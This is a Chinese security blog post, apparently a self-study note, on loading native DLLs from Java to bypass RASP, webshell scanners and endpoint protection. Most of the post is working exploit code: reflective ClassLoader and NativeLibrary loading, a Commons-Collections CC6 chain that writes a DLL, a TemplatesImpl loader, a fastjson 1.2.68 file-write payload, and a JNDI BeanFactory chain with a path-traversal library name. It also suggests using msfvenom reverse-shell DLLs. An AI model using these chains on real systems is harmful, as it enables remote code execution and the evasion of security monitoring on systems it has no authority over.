java加载动态链接库绕过RASP的一些思考

今天在复现JNDI高版本注入用NativeLibLoader绕过的时候,由于能力有限(没有MACos系统,当不了伸手党直接复刻操作,也不会二进制),造不出类似的dll文件,msfvenom生成的dll -b参数好像也完全不起作用

https://tttang.com/archive/1489/

但是考虑了一下有其他方式写入dll,然后有任意代码执行的场景,如果目标存在webshell查杀,RASP,终端安全防护软件等安全工具,容易检测到System和Runtime的调用。这种场景下加载动态链接库就很有利用场景

NativeLibLoader

我们先来看看最普通的利用System加载dll

1
2
3
4
5
public class LoadTest {
public static void main(String[] args) throws Exception{
System.load("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll");
}
}

load使用了Runtime load0去加载dll

进一步跟进load0,发现调用了ClassLoader.loadLibrary

loadLibrary中,如果绝对路径(第三个形参)为true,则直接调用loadLibrary0后返回

在loadLibrary0中,创建了NativeLibrary,调用load去加载

除了上面的用System去加载,浅蓝师傅给出的可以用com.sun.glass.utils.NativeLibLoader去加载动态链接库

NativeLibLoader.loadLibrary如下

最后还是调用到了System.load

直接绕过System和Runtime去调用ClassLoader进行动态链接库加载

反射调用ClassLoader#loadLibrary

1
2
3
4
5
6
7
8
9
10
11
12
public class loadLibraryToDLL {
public static void main(String[] args) throws Exception{
try {
Class clazz = Class.forName("java.lang.ClassLoader");
Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, "E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll", true);
}catch (Exception e){
e.printStackTrace();
}
}
}

反射调用NativeLibrary#load

NativeLibrary是ClassLoader的内部静态匿名类

反射获取构造方法再进行实例化调用load

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{
try {
String file = "E:\\\\CODE_COLLECT\\\\Idea_java_ProTest\\\\my-yso\\\\src\\\\main\\\\java\\\\org\\\\exploit\\\\loadDLL\\\\calc_x64.dll";
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
con.setAccessible(true);
Object obj = con.newInstance(Class.class,file,true);
Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);
}catch (Exception e){
e.printStackTrace();
}
}

CC写文件搭配字节码加载dll

由于invoke不能调用getDeclaredMethod,所以CC InvokerTransformer写文件后用TemplatesImpl字节码加载dll

先写dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package org.exploit.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;

public class CC6writeFile {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 第一步:创建 FileOutputStream 对象
new ConstantTransformer(java.io.FileOutputStream.class),
new InvokerTransformer(
"getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{String.class}}
),
new InvokerTransformer(
"newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{"CC6calc.dll"}}
),
// 第二步:调用 write 方法写入数据
new InvokerTransformer(
"write",
new Class[]{byte[].class},
new Object[]{readFile("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll")}
),
// 第三步:调用 close 方法关闭流
new InvokerTransformer(
"close",
new Class[]{},
new Object[]{}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "test2");
map.remove("test1");
Class lazymapClass = lazyMap.getClass();
Field factory = lazymapClass.getDeclaredField("factory");
factory.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
factory.set(lazyMap, chainedTransformer);
serialize(hashMap);
unserialize("cc6.ser");
}
public static byte[] readFile(String filePath) throws IOException {
File file = new File(filePath);
long fileLength = file.length();
byte[] fileData = new byte[(int) fileLength]; // 根据文件大小创建字节数组

try (FileInputStream fis = new FileInputStream(file)) {
fis.read(fileData); // 读取文件内容
}

return fileData; // 返回字节数组
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

再在字节码中加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class TemplatesImpl_loadDLL extends AbstractTranslet {
static{
try {
String file = "CC6calc.dll";
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
con.setAccessible(true);
Object obj = con.newInstance(Class.class,file,true);
Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
public TemplatesImpl_loadDLL(){}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

CC加载DLL

写文件搭配JNDI加载

fastjson1.2.68存在写文件,可以写dll然后搭配JNDI高版本绕过进行注入

pom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>

注意修改position为dll解码后的字节数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Fastjson_writeFile {
public static void main(String[] args) throws Exception {
String base64code = fileToBase64("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\src\\main\\java\\org\\exploit\\loadDLL\\calc_x64.dll");
String json = "{\n" +
"\"stream\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
"\"targetPath\": \"d:/calc_x64.dll\",\n" +
"\"tempPath\": \"e:/test.txt\"\n" +
"},\n" +
"\"writer\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
"\"buffer\": \""+base64code+"\",\n" +//base64文件字符串
"\"outputStream\": {\n" +
"\"$ref\": \"$.stream\"\n" +
"},\n" +
"\"position\": 50176\n" +
"},\n" +
"\"close\": {\n" +
"\"@type\": \"java.lang.AutoCloseable\",\n" +
"\"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
"\"out\": {\n" +
"\"$ref\": \"$.writer\"\n" +
"}\n" +
"}\n" +
"}";
JSON.parse(json);
}
public static String fileToBase64(String filePath) throws IOException {
byte[] fileData = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(fileData);
}
}

JNDI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class JNDI_loadDLL {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "../../../../../calc_x64"));
InitialContext context = new InitialContext(env);
context.bind("remoteImpl", ref);
}
}

JNDI绕过高版本加载dll:

可以考虑直接调用NativeLibrary#load,不过间接调用了System.load和Runtime.load0,似乎没有什么用

fastjson_jndi加载DLL

总之有写文件场景的都可以考虑一下写dll

也可以用msfvenom做反弹shell的dll或者so等进一步注入

至于dll的免杀就交给pwn手。不知道这种思路有没有利用价值(好像这种有文件落地更脑弹?),不过打CTF单纯被过滤Runtime、ProcessorBuiler等情况下还是可以考虑一下。一点自己学习的小99

上一篇:
2023CISCN 初赛WEB WP
下一篇:
JNDI高版本注入